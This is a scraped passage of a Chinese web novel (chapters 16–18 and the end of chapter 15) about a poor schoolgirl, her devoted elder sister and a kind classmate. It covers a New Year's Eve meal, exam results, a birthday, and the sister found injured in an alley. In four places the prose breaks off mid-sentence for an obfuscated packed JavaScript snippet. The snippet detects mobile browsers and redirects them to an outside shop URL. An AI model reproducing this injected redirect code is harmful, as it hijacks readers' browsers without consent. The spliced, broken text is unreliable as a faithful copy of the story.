店主热情洋溢地冲我笑,他凑得有点近,我甚至能清晰看到他下颌的皴。 “小朋友,你家长嘞?停车去啦?” 我双手插着口袋,冲着墙上的菜单扬扬下巴,“我自己点就行。” 我把口袋里的一百块钱贴到木质台面上,“我有钱。” 店主啧了声,“小朋友厉害哦,都能替大人做主咯。”递了我一份纸质菜单,“你看看罢,过年了点条鱼,年年有余嘛。” 我看着菜单上水煮鱼的价格,好贵,一道水煮鱼就要六十八块。 我问:“我看外面招牌上有说,除夕订餐最低八十八块?这都有什么?” “八十八块的盒饭,带着一条鱼四个虾,两个鸡翅,两份饭,还有一小份西红柿鸡蛋汤。” “我这有一百块,都给你了,虾可以换别的菜吗?” 店主拿起那张纸币对着光照了照,又摸了摸纸币侧边,手臂交叉撑在柜台上问我:“小朋友你点这些一家人可吃不饱噻,如果真点这几个菜,你怕不是回家会被家长打哦。你想捞点油水也不该是这样捞的嘛。” “我爸妈今年不回来过年,他们很忙。”我解释,“家里只有我和姐姐两个人吃年夜饭。” “嗨呀。”店主作势打了两下嘴,“你想换成啥子菜嘞?这个菠萝鸡球得行不得行咯?” “行的。谢谢您。” “不客气撒,你坐在这儿等会吧,我现在去让他们炒。” 我点了点头,按他的话找了个凳子坐下来,我打开姐姐给我买的小手机,将我熟记于心的电话号码一个一个按下,可最终还是没能拨出去。 我怕打扰到他们。 我吸了吸鼻子,有点想爸爸妈妈了,不知他们过得怎么样,有没有在那边熬浆糊贴春联,有没有准备年夜饭。 应该是没有的,我想。毕竟春节期间三薪,如果他们不在意这三薪的话,就能回家陪我和姐姐过一个好年了。 不多时,店主拎了盒饭给我,顺带着给我拿了两瓶可乐,说道:“大过年的,父母不在身边也不容易,和姐姐好好的昂。” 我点点头,认真鞠躬道谢。 我拎着沉沉的盒饭从东街走到我家门口,临近家门前我摸了摸盒饭。还好,是温的。 我左右手都被占着,只好用手肘敲了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019803|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敲门,姐姐从屋内出来,二话不说就给我开了门。 “姐姐,你怎么连是谁都不问直接开门了,万一是坏人呢?” 姐姐笑了笑,问我:“这大过年的,除了你,还能有谁?” 姐姐话刚说完,目光就被我手上的东西吸引了,她有些讶异,“你这是买的什么?” 我对姐姐露出一个笑,抬高双手让她更清晰地看到,“我买了年夜饭!” 出乎我意料的是,我姐并没有我想象中那么开心,她反倒是皱了眉,不太满意地问我:“你用自己的钱买的?” “对啊对啊。”我点头,“当然不能用别人的钱买了。姐姐给我买了新衣服,我就买了好吃的。” 姐姐有些无奈,她语重心长得说:“挺好,别人对你好你也要对别人好这件事没错,但姐姐不是别人。我对你好,不需要你的回报。” 我绕过姐姐把饭菜搁在桌上,姐姐正要接着说却被我突如其来的拥抱打断。 “姐姐。”我喊她,“饭菜要冷了。” 姐姐没有继续说话了,她拉了小板凳坐下来,沉默着为我盛汤盛饭。 “姐姐,我买了年夜饭,咱们两个可以一起吃。” 姐姐叹了一口气,“我只是怕你这个性子以后到社会上会吃亏。别人对你好一分,你恨不得把自己的心肝脾胃肺都掏出来给人家。” “没事的呀。”我没心没肺地冲她笑了笑,“等我长大了,那姐姐会比我先长大。如果到时候我有问题不明白的可以随时问你呀,你永远是我的姐姐,这是不会变的。所以你对我好,我对你好这是天经地义的。” 姐姐把热乎乎的西红柿鸡蛋汤盛出来配上白白的大米饭,她把汤泡饭递给我,让我趁着热喝了。 我笑嘻嘻地应了,外面正巧传来放鞭炮的声音,我家是平房,听得格外响。 吃过饭后,我和姐姐伴随着炮声紧紧依偎在一起聊东聊西。此刻在屋内只能看到绚丽烟火的一角。 聊天聊累了,我打开手机看了眼时间,现在已经十一点五十了,我关闭静音,设置好十二点准时报时。 姐姐也看了眼手机时间,从我身边站起身,神秘兮兮地翻箱倒柜起来,我原本靠着她,下意识地望床上一倒,砸的我脑袋有点疼,我问她:“姐姐你干什么呢?” 姐姐也停下了翻找的动作,她拿出两根灰扑扑的仙女棒和火柴,“挺好,走吧,咱们也去放‘烟花’。” “好!”我翻身下床,边蹬鞋子边问她,“刚刚怎么不叫我和你一起找?” “这都是前些年的,我也是刚想起来的。教你一起找做什么,到时候找不到还要白白伤心。” 我和姐姐一人一根仙女棒,走到室外点燃,高举在空中,和漫天烟火相称,我甚至能听到隔壁人家的倒数声,在倒数声结束之前,我和姐姐在空中各画了半个爱心,正拼凑在一起,将转瞬即逝的烟花困在爱心里。 仙女棒只短短燃烧了几十秒,在爱心消散的最后一秒,我与姐姐相视一笑。 与此同时,手机本该响起的铃声被彩信声打断。 “挺好!新年快乐!” 16. 第 16 章 平平淡淡的一个年就这样过去了,过了正月初十,学校开学了,我和姐姐也回了各自的学校。 李卿还是一如既往的漂亮,她今天到的比我早,早已将我们两个人的桌椅擦过了,她看到我来笑吟吟的,“挺好你来了啊,新年快乐。” “新年快乐。”我说,“过完年有好好学习吗?” 除夕夜,李卿和我说过新年快乐之后就和我说年后不用补习功课了,她要和家长去三亚旅游。 “咱们之前本来就没学多少东西,过个年就全忘了那就很糟糕了。” “有的有的。”李卿点头如捣蒜,“我坐飞机的时候甚至还在背古诗词呢!” “这么厉害吗?”我从书包掏出了张空白纸,“默写一下出师表吧。” “这也太长了吧!”李卿说,“我可以给你背一遍。” “先帝创业未半而中道崩殂……” “停停停,你们等会儿再背。数学作业写了吗,给我抄抄。”赵澄打断了李卿的话语。 “吵吵吵!我节奏都被你打乱了。”李卿把数学作业扔给他,“快抄!抄完顺便帮我交了。” “行。”赵澄借了作业,头都不抬,奋笔疾书,恨不得左右手同时开工。 我对赵澄抄作业的速度叹为观止,不过我很快把头转了过来看李卿,“继续背吧。” “先帝创业未半……” 赵澄一边抄作业一边嘴也不闲着,“你这刚刚不是背过了吗?怎么又背一遍?” “你懂什么?我一被打断就要从头背。”李卿说到一半不轻不重地打了一下赵澄,“你怎么又打断我!我真是服了你了!” 赵澄暗骂一声,连忙把数学作业往桌洞藏,装作若无其事地转笔。李卿也下意识咳了两声转过身子坐好。 我往一瞧,果不其然,班主任正巧出现在门外玻璃上往里看。 过了会儿,她从门外走到讲台,浑身散发着不快,“我可在门外站了好久!你们说话的说话,补作业的补作业,一个踏下心来认真看书的都没有!” “现在还不努力,你们还想等什么时候努力啊?等到中考完再努力?”她把书甩到桌子上,“先看看你们能不能考上高中吧!” “真的是,过个年,都把心过散了!” 全班从她进门的那一刻起鸦雀无声,都只沉默的低着头,不知道在想什么。 “哎。”李卿用手肘捅了捅我的胳膊,想对我说些什么。 我侧目看她,示意别说话,班主任已经在看这边了,可惜李卿没懂我的意思,小声对我说,“不知道咱们学校换食堂了没有,之前的食堂真难吃!” “赵挺好,李卿,你们俩给我站起来。我在台上讲你俩在台下讲是不是?你们说什么重要的话呢?说出来让大家一起听听呗。” 我和李卿沉默地站起来,椅子在地面上拖了长长一道,发出刺耳的声音。 这件事最后以我和李卿站着上了一节班会课结束。 下了班会课,我把书包内侧的红包拿出来还给李卿,“除夕夜我去你们家了,可惜你不在,没有当面给你。” 李卿接过了,没多说什么,可能她早就知道我不是会平白无故就收钱的人,“那…挺好,每周六还来帮我补课,好吗?” 我笑了笑,说:“好。” 过了没两天,李卿就带过来一本小日历,摆在桌上,过一天就撕下一张。李卿最喜欢的还是周五,因为周五当天可以一下子撕三张。 李卿桌上的小日历一天天逐渐减少,李卿和我的成绩越来越好。李卿还想让赵澄陪着我们一起上高中,可赵澄还是无所谓的态度。 “哎我真的不想学习,我爸妈准备让我出国了。” 李卿听到这个消息有些犹豫,“出国吗?也挺好的。” 李卿看了一眼我,此刻我正在整理她的数学错题,目光一动不动地看着她写错的地方,像是在走神,可只有我知道,我在等待李卿的回答。 “我想想吧……”李卿这样说,“出国的事我要回家问问爸妈。” 又过了几天,李卿和我说她不陪赵澄出国了,她要留在国内上高中。 赵澄问李卿为什么,李卿说不想离爸妈太远。赵澄皱眉,他说按李卿家里的产业完全可以扩展国外市场,到时候一家人一起出国不就好了吗,他不理解李卿的选择。 就这样,他们两个人分开了,两个人上课下课再无聊天,甚至连平日里的打招呼都没有了。 我心中莫名松了一口气,我知道这很不道德,可我出于私心,我真的不想让李卿离开我身边,李卿是我很重要的人。如果没有她,我可能只能将将在温饱线上挣扎。我要做的只有学习,只有努力学习,只要李卿还有一天需要我,我就会当家教给李卿上课,一周赚五十块钱。 一周五十块钱,这对一个初中生算是不少了,再加上老师给我的银行卡,还有姐姐给我的钱。学费、书本费、饭费,我一个月还能攒下一百块钱左右。 如果李卿不在,我可能真的要为了这一百块钱去餐厅打工。我把这件事和姐姐讲了,姐姐对我说不会有这么一天的,有她在,就不会让我外出打工。 春暖花开,转眼已是四月了,姐姐给我的钱越来越少。 我不好意思开口找姐姐要钱花,只好省着点花,每天早上的烧饼里脊换成一个鸡蛋配热水。李卿问我最近怎么就吃这么点。我有些不太好意思,只嘟囔着减肥减肥。李卿没再细问,过了两天月考,成绩下来的时候她跌出了班里前十名,她苦着脸问我: “挺好,我最近成绩下滑的有些厉害,以后每周六周日都来替我补课好不好?” 我一愣,说:“好。” 当天晚上我把李卿的试卷带回家仔细看了,随后蒙着被子,在枕头上不停的蹭眼泪,我真是想不明白为什么世界上会有李卿这么好的人。她善良、美丽、自信、大方,甚至会为了照顾我那可怜的自尊心而故意考砸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019804|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我只给我留了一个小时的哭泣时间,之后我就装作若无其事地样子去看李卿的试卷,整理她故意写错的错题,我们就这样心知肚明地上完了这节改错课,我白赚了五十块钱。 清明节放假三天,爸爸妈妈回来了,这天我正在打扫院子,看到他们走进家门,手中的扫把落了地,泪水下一秒浸湿脸颊。我飞奔过去抱着妈妈,将泪水止不住地往他们不算干净的衣服上擦,妈妈只是摸摸我的头,说我真是长大了。 我哭着问他们为什么打他们的电话打不通,换号了为什么不告诉我。 比起语气不太好的质问,我心底那句“我想你们了”更难说出口。 妈妈说:“我们一下火车站,手机啥的就都被偷了,原来的号码也找不见了。” “我和姐姐很久没有见到你们了,很久没有和你们说话了。”我擦了擦眼泪,“你们这次回来,还走吗?” “走的。”妈妈说,“你姐姐今天过生日了。我们给姐姐过完生日就走。” 我哽咽着点头,只希望姐姐生日这一天结束的比平常晚一些。 当天晚上,妈妈林林总总地做了六个菜,姐姐也回了家,一家四口久违的坐在一起吃着饭,父亲吧嗒吧嗒抽着卷烟,我和姐姐把四寸小蛋糕分了,一人一块。爸爸妈妈都没吃,把蛋糕推了回来。 吃过饭后,我自告奋勇去洗碗。微凉的水掠过我的手,我迅速挤了一泵洗洁精在油腻的碗边缘摩挲着,我想我要赶紧洗完回去和爸爸妈妈说话。 我洗碗洗到一半便被屋里传来的争吵声打断了。 我放下碗筷,走到那扇窗前蹲下身,窃听着他们的话语,这一幕多像一年前啊。 “别整那些没用的,你当下最要紧的事就是好好学习。钱的事,我会想办法的,大不了,我就拿着你的成绩单把亲戚都走一遍,也能供出你一个大学生。我们家就指着你光宗耀祖了,虽然你是个女娃……” 这是爸爸的声音。 妈妈在一旁附和着,他们两个人显然是早就想好了。 “那挺好呢?她才十五岁!钱都留给我了,挺好拿什么去读书!” 我低头看着地面上频繁走动的蚂蚁,它们正齐心协力地搬着小小的食物,为什么蚂蚁那么团结,而比蚂蚁大无数倍的人类却总是在争吵。 我没有再听下去,我走到水龙头边上,摔了一个碗,再去捡四分五裂的碎片。 “挺好!” 我抬眼看去,果然是姐姐率先出来的,可明明姐姐的位置坐得离门最远。我把冒血的手指往身后藏,不想被她发现。 她三步并两步到我眼前,拉过我的手,舔了我指尖上的血渍。 “怎么这么不小心?” 我有些不好意思,“一个没拿稳就摔了。” “没事。我去拿创口贴给你贴一下。”姐姐说完便转过身,她忽视了站在门口的父母,径直去屋内拿了个创口贴,然后走到我身边,弯下腰给我贴上了。 17. 第 17 章 爸爸妈妈和姐姐讨论的是什么事我不知道,讨论出来的结果是什么我也不知道。 我只知道没有我姐就没有我。 我的出生是因为我姐,我妈怀我的时候我家里很穷,恰逢还没出二胎政策,只要生我,就要交罚款。我妈犹豫再三最终也没决定下来到底要不要我,她就去问我姐了,我姐说要,我妈又问要不要我,我姐还说要,这样的对话持续了三次,我姐的答案自始至终没变过。 我妈说要是被罚款,钱就从我姐的嫁妆里面扣,我姐还说行。我妈不死心,说我姐以后不管有什么都要给我分半份,我姐说好。 就这样,我就出生了。 我姐做出这个决定的时候才三岁,三岁的奶娃娃哪里分得清什么是对是错呢?在大人的再三逼问下能坚持同一个回答这已经很不容易了。 更何况,我姐在往后的十五年里,也确实是这么做的。有什么好吃的好喝的都分我半份,分不了的干脆全都给我了。 所以,我这一辈子都欠我姐的。我姐指东我也不向西走,哪怕是粪坑我也认了。 但是我姐没有我说的这么过分,我姐对我好这件事,我知道。 翌日,李卿看到了我手上的创口贴,她一惊,连忙问我:“挺好,你这手咋了!” 我把手递给她看:“没什么的,只是不小心摔了个碗,捡的时候划破了。” 李卿大惊小怪地撕开翘起的创口贴边缘往里看,“嚯,这口子可真不小。” 她又说道:“挺好我给你撕下来了啊,这都不粘了。” 我说:“别吧,撕下来了我贴什么?” “对啊!你贴什么!”李卿放大了声音说道,像是刻意说给某个人听的一样。 赵澄像从前一样,趴在臂弯里,长袖校服盖着脸,不理会。 我看见她的目光不经意往赵澄那个方向瞟,随后她又大声说道:“如果这个时候有人能有创口贴就好了。” 赵澄头都没抬,单手从桌洞里掏出一盒创口贴递到我俩面前,沉闷的声音从校服中传出:“拿去,能买个清静了吗?” 李卿哼了一声,接过了创口贴,没再说什么。 她小心翼翼地把我手上的伤口露出来,生怕弄疼我,“挺好啊,你这个手一定不能老闷着,总闷着容易伤口感染知道不?你看你这手都发白了。” 我举起指尖瞧了瞧,还真是。 “这盒创口贴你先用着,明天我再带一盒新的过来。” 我推辞:“不用了,不流血就行了。哪里有这么金贵?” “什么!你胆敢说‘初三三班综合成绩排名第二·英语成绩第一·两人三足比赛冠军·我最好的朋友·赵挺好’?” 我笑了笑,这都什么跟什么? 此时,隔壁组看过的成绩单正好传到我们这里,李卿拿过来看了一眼,差点尖叫出声,幸好她及时捂住了嘴。 “咋啦?”我问她。 “我错了挺好!”李卿特别激动的抱着我,“你综合成绩排名第一了!” “你是第一名!!” “你打败了班长哎。”李卿说到这句话时变得小声,只有我能听到。 我看着成绩单,有些不可置信,我是第一名了吗? 我下意识地找李卿的名次,第四名。 我看了一眼她的总分,不出意外的话我们两个可以上同一所高中了。 “咳咳,赵挺好同学请坐直身体。我有话要讲。”李卿转眼变得严肃起来,对我提出要求。 我不明所以,但还是按照她所说的话坐好,然后静静地看着她。 下一秒,李卿从她的书包里郑重地拿出一张塑封好的纸,我双眸一凝,这张纸是运动会时的…… “赵挺好同学,恭喜你在这个美妙吉利的日子里荣获第一名的好成绩。你得到这个优异的名次,离不开你日复一日、持之以恒的努力,在你通往第一名的道路上你永远是自己最忠诚的伙伴。”李卿念到这里,对我眨眨眼,像是在说“我也是呢”,她顿了顿又清清嗓子,接着念道:“愿你在接下来的学习生活中能戒骄戒躁,不忘昨日之努力,不忘今日之喜悦。请你继续在成功的道路上一往无前吧!” 这张纸是独属于我的“获奖感言”。 我眼睛酸酸的,下一秒李卿就说道:“挺好挺好,你可别哭啊。你哭了我就不知道该怎么办了。” 我吸了吸鼻子,强行忍住我的泪水,我抬头看天花板上的灯光将眼泪憋了回去。 李卿做了一个音乐指挥家的动作,说道:“好了挺好,收!” 我点点头,泪水压了下去。 “挺好,你生日是不是快到了呀?” “差不多快到了。”我想了想,“大概还有半个多月吧,五月十九。” “行。”李卿应了声,“到时候我送你一个礼物。” “我心领了。但还是别破费了,你对我已经够好的了。”我拒绝道。 “没事,不会破费的,保证不花钱。” 我不禁起了好奇心,“那会是什么礼物呢?” 李卿神秘一笑,“到时候你就知道了,嘿嘿~” 姐姐最近越来越忙,她快要三模了,回家的次数越来越少。爸爸妈妈和姐姐吵过架之后当天就走了,这段时间我就自己一个人住,我回想着爸爸妈妈的样子,画了一张一家四口的全家福,摆在我的枕头边上,陪着我睡觉。 我晚上躲在被窝里给姐姐发短信,问她快考试了紧不紧张,姐姐回的很快,说不紧张,她现在很厉害,会的知识很多,三模拿下好成绩不成问题。 姐姐好厉害,我要以姐姐为目标,考上姐姐所在的高中,高考分数要向姐姐看齐。 姐姐说我快生日了,问我想要什么生日礼物。我仔细想了想,如果是之前的我,我可能会想一家四口坐在一起吃个团圆饭。可是自从姐姐生日那天争吵过后,我就不再想这件事了,可能爸爸妈妈不太喜欢我吧。 喜欢我的只有姐姐,还有李卿。 我说我没想好,我只想那天姐姐回来陪我过生日。 姐姐说好。 我看到姐姐的回复,开心的不得了,脸也红了起来,可能是被子里太闷了,我把头伸出去呼吸了会儿新鲜空气。又重新埋进被子里和姐姐聊天。 之前姐姐生日,我有问过姐姐想要什么生日礼物,姐姐说希望我考一次第一名,不过什么时候的第一名都可以。结果今天,我就拿到第一名了。 我把这件事和姐姐说了,姐姐也很开心,说要给我奖励。 我没有细问奖励是什么,我只想和姐姐在一起过生日,独属于我们两个人的生日,我可以把我的生日愿望送给姐姐。这样姐姐就能有两个生日愿望了。 我想了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019805|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想,如果我可以再许一个愿望的话,我希望时间过得快一点儿,我想和姐姐一起长大工作赚钱,然后把通往我家的路修一修,去旅游,去看大熊猫。 姐姐自从那天起,就没有回过家了。姐姐太忙了,她又要上课,又要兼职打工,我给她发消息她都要隔好久才回。内容不外乎是问我有没有好好吃饭,学习上有没有什么不懂的问题。我一概挑好的说,即便我孤身一个人我也在好好生活。 我生日那一天的早晨,恰好是姐姐三模出成绩的日子,我问她考得怎么样,她直接给我拍了成绩单,彩信铃声响起,我眯着眼去看那张图片,最上面赫然写着我姐姐的名字,名次:1。 关于成绩的事姐姐也没再和我聊,她问我想吃什么蛋糕,我和姐姐发消息,不用买蛋糕,如果要买的话买个最小的就行了,姐姐没理我,只是问我想吃什么口味的。 我随便说了句水果的就行,姐姐说好。 我把手机收进口袋,哼着歌就去上学了,我抬头看了眼天空,此刻乌云密布,除了天气不太好之外,今天真是美好的一天呀。 我一进教室门儿就被礼花筒的彩带淋了一身,然后李卿从我侧边冒出来,笑吟吟地看着我:“挺好,生日快乐呀。” 我无奈笑笑,把挂在眼睫上的彩带取下,其实我从一开始就看到赵澄在后门望风了,只是没想到,这次被他们警惕的人居然是我。 “赵挺好你今天生日吗,生日快乐。” “生日快乐。” “happy birthday!” 我每天都来得比较早,老师要过半小时左右才到,现在班里同学也就几个,此刻正在一边头也不抬的抄作业一边为我送上参差不齐的祝福。 “一大早就看到李卿拿个礼花筒站这,问她为什么她也不说,就说保密。” “感谢你们为赵挺好送上生日祝福嘿嘿,我要是说了你们哪会像现在一样祝挺好生日快乐!”李卿把我脑袋上的彩带摘下来撒向空中,“今天,可是挺好的生日呀!” “李卿。”我喊她,“谢谢你。” “哎挺好,你别哭呀。”李卿见我眼中的盈满泪水顿时手忙脚乱起来,摸了上衣口袋又摸裤子口袋,“完了我没拿纸。” “给。”赵澄不知何时出现在李卿身旁,把纸递给李卿。 李卿已经顾不上是谁给的纸了,她接了纸巾就小心翼翼举着想为我擦眼泪。 我直接抱住了她,用手胡乱地把眼泪擦去,我贴在她耳边小声说,“李卿,谢谢你选择我成为你的朋友。” 李卿真的是个很好的人,那件红色班服至今也好好的留在我的床尾,我问起来她就说表妹去别的地方上学了。知道我家里穷,就提出付费补课。班长名次掉到第二为我庆祝也是小声庆祝,生怕班长听到了会难过。 李卿,你真的是个很好的人,我应该要怎么报答你才好? 李卿身上香香的,每天洗澡的人身上散发着牛奶的香气,我有些分不清这是沐浴露的气味还是每天喝的牛奶太多了所以身上都是牛奶的味道。 李卿犹豫了下,回抱住我,摸了摸我的头发。 “挺好,你没发现吗?”李卿轻轻说道,“你也是个很好的人。只有你想怎么报答我,其他人怎么会想到这点呢?” 窗外的雨滴滴答答开始下起来了,又一年的雨季开始了…… 18. 第 18 章 李卿送我的礼物是一本相册,里面几乎全是我和李卿的照片,照片周围被李卿写了五颜六色的字。照片没几张,大多数我都没印象,想来也知道是出自赵澄的小相机偷拍的,估计主要拍的还是李卿,拍我可能是顺带的。后面都是李卿给我写的信,很长很长的一封信,大约有一万字。从我们认识到我们做同桌,再到我们经历了这半年多的时光。 李卿看我看得这么认真,也有些不好意思,她把书合上塞到我书包里,“好了好了!挺好你回家再看吧。我要把地扫一下,等会儿要上早自习了。” 赵澄拿着扫把,冷冷说道:“用不着,让开。” 李卿拉着我听话地回到了座位上,她小声对我说:“有人替我做值日,何乐而不为呢?” 我想了想,问道:“那你们两个现在是什么关系呢?” “两个人的感情出现问题,一定要有人让步。很可惜,我不想出国。” 我有点犹豫,还是问道:“为什么呢?” 我顿了顿,又说:“是因为我吗?因为有我在所以你才选择留在国内。” 罕见的李卿沉默了一会儿再回答:“挺好,你是我的朋友。你对我很重要,如果你和赵澄在同一座天平上,我会犹豫。可我的父母也在国内,我不能舍弃我的父母出国。如果长大之后他身边还没有女朋友的话,那我再考虑一下要不要让步吧。” 赵澄此时打扫完回了座位,李卿看着我眨眨眼,“挺好,要保密哦。” 我愣了一两秒,点了头。 小雨停了,我望着窗外乌云密布的天空叹了口气,放学铃响了起来。 “挺好,你带伞了吗?” 我犹豫了会儿,还是实话实说,“我今天忘记了。” 李卿正在收拾书包的动作停下了,“挺好,你要不和我走吧?我看天气预报说今天有暴雨。” 我想了会儿,最终还是同意了。 李卿高高兴兴地玩着我的手走到她家车旁边,车子尾部挂了四个圈,我小心翼翼地摸了摸看起来就很昂贵的黑色车身,然后侧着身为李卿让开了,我不知道怎么打开车门。 我坐上了李卿家的车,李卿拿了车上的零食递给我,“这个好吃,挺好你尝尝。” 我接了,局促地点了头,只是捏着零食的包装袋,没打开,我怕把车弄脏了。 李卿问我:“挺好,你家在哪啊?” 我说了我们家的地址,司机听了之后有些为难,“那边现在还是泥土路吧?有点不好停车。” 我连忙说道:“没事没事,给我放在村门口就行了,不用开进去。” 李卿从车里拿了个小蛋糕,“挺好,祝你今天生日快乐。” 我看了看包装精致的粉色蛋糕,还是拒绝了,“李卿谢谢你,但是我姐姐今天给我买蛋糕了。等你暑假过生日的时候,我们再一起吃蛋糕吧。” 她举着蛋糕笑了笑,说道:“好呀,咱们到时候定两个,一个庆祝我的生日,另一个就算是庆祝咱们考上了同一个高中吧。” 我说好。 等我告别李卿走在回家的泥土路上,我抬头看了眼天空,天色还早,这是我第一次这么早回到家。我一进家门,就看到桌上摆了一个巨大的芒果蛋糕,看起来有六寸,还送了不锈钢刀叉,我下意识的以为这是别人送错了,我给姐姐发信息问这是怎么回事,姐姐说没送错,这是她买的,她赚钱给我们买了一个六寸的蛋糕,说要迎接我的十五岁生日。 我震惊了,姐姐说她的生日过得不好,这是独属于我和她的生日。姐姐这条消息一发过来,我就沉默了,姐姐说得对。 当天晚上,我在家里做了饭,煮了西红柿鸡蛋长寿面,等着姐姐放学回来,可墙上的分针走了一圈又一圈,姐姐还没回来,我心中的担忧愈来愈浓。 我看着芒果蛋糕上的图案,两个小女孩紧紧依偎在一起,就像我和姐姐一样。与此同时,窗外闪电骤然落下,伴随着轰隆一声。 我眉头一皱,又要下雨了。 我看了眼时钟,现在已经八点半了,又摸了摸碗,已经有些凉了。都这个点儿了,姐姐怎么还不回来呢? 我给姐姐发了消息,姐姐也没有回复我。我又打了电话,还是没人接听。 该死的雨又淅淅沥沥下起来了,我把饭菜拿塑料袋罩上,又拿了一把伞,我准备去找姐姐了。 我有轻微的夜盲症,平时天黑下来很少出门,此刻我正眯着眼打着手机微弱的灯光看路。 脚下的泥土混着雨水变得泥泞,我深一脚浅一脚地走着。冰冷的雨水沿着伞边滴在我的鞋面上,不知走了多久,我的裤腿也湿了。 雨愈下愈大,雨滴成线在我眼前,我逐渐看不清路了。我叹了口气,用脑袋和肩膀夹着伞,艰难地看了眼手机时间,已经九点多了,我走了这么久吗? 我又给姐姐打了个电话,耳边传来的“嘟嘟”声与头顶噼里啪啦落下的雨滴声交汇在一起,我不安的感觉愈发浓烈。 一分钟过去了,还是无人接听。 姐姐出事了。 意识到这点时我大口大口喘着气,但是感觉怎么都呼吸不上来。姐姐答应我会回来陪我过生日,那就一定会请假回来。可现在音信全无,必然是回家路上出了问题。我弯下身,仔细想着她平时回家的路线。 这里找不到她,那她平时回家只会走没灯的小路。 那里是居民小巷,阴暗、狭窄,平日中只能容纳一人通行,我看了眼手机电量,仅有百分之五了,想到姐姐有可能会给我打电话,我咬咬牙关了手机,凭借脑海中不多的记忆向前方的黑暗冲了过去。 我的眼睛实在不算好,短短几百米我竟是摔了三跤,我抹去脸上的泥土,身下碎石正好抵在膝盖,可能已经流血了吧,我吸吸鼻子,现在不是我疼的时候。 此时此刻,我只觉得漫天大雨浸透我的身体,可我铁了心,不找到姐姐我决不回去。 世界上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019806|194244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对我最好的亲人,就是我姐姐了。 我把伞收了起来,当做拐棍使,膝盖处的血液混着雨水不断往下渗…… 我知道,爸爸妈妈不喜欢我,他们更喜欢姐姐,他们会为了供姐姐上大学而南下打工赚钱,我和姐姐同时开家长会他们只会选姐姐,甚至前几天会为了给姐姐过生日专门跑回来,甚至愿意牺牲我来让姐姐读书…… 可是我不怪姐姐,我也不怪爸妈。我在学习成绩上不如姐姐我知道,姐姐对我的好我也知道,如果家里真的没钱了,那我愿意辍学打工。如果餐厅不收我洗盘子,那我就拿个破碗上街要饭,不管怎样,我都要让我姐过上她想要的生活。 姐姐以后的生活会是怎样的呢?我想过很多种可能性。可能像她说过的那样,考上海洋大学,以优秀成绩毕业成为一名海员,去见识丰富多彩的海洋世界。或者成为大城市中的优秀白领,在职场中闯出属于她自己的一番天地。再或者是嫁给一个她喜欢的男人,每天在家里烦恼早中晚饭吃什么好。 可我从来没想过姐姐会是现在这样…… 那把破了洞的透明伞被我摔落在巷尾地上,我踉踉跄跄地走到姐姐身边,扑通一声跪在地上。 姐姐躺着地上,长发散下来被雨水浸湿,身边是破裂的玻璃酒瓶,她校服凌乱,额角破了一道口子,头上的血液落在我手上,我想用手堵住她的伤口,却忽觉我的手很脏,我连忙把手上的泥土蹭在我不算干净的衣服上,然后轻轻抬起她的脑袋,唤她的名字。 她紧闭着双眼,任我怎么喊她都不应我,我有些急了,手抖着去摸她的呼吸。 万幸,姐姐还活着。 我拉过姐姐的两条手臂挂在我脖子上,可她身上软软的使不上力气,我只好将她的手腕圈在一起,另一只手托着她的一条大腿艰难站起身。 “挺好……是你吗……”几不可闻的声音响在我耳边,按理来说今晚的雨下得这么大,我是听不到的,我以为我是幻听了。 我回过头去看姐姐,她倚着我的脑袋,小声说:“是挺好吗……” “嗯!”我连忙点头,生怕姐姐听不清,我大声说,“是我是我!我是赵挺好。” “姐姐没事儿的啊,我这就带你回家……”说到最后我声音止不住的颤抖,眼中的泪水迅速盈满眼眶。 我抬头想将泪水收回,雨幕中,仿佛巷子口有个身影高大的男人,等我眯着眼再去看,那人早已消失不见。我想起姐姐旁边的断裂的玻璃酒瓶,霎时间,心底涌上强烈的恐惧,冰冷雨水激起我一身的鸡皮疙瘩,我害怕得想吐,我只怕我和姐姐今天都要留在这,现下最要紧的事情还是将姐姐抓紧带回家。 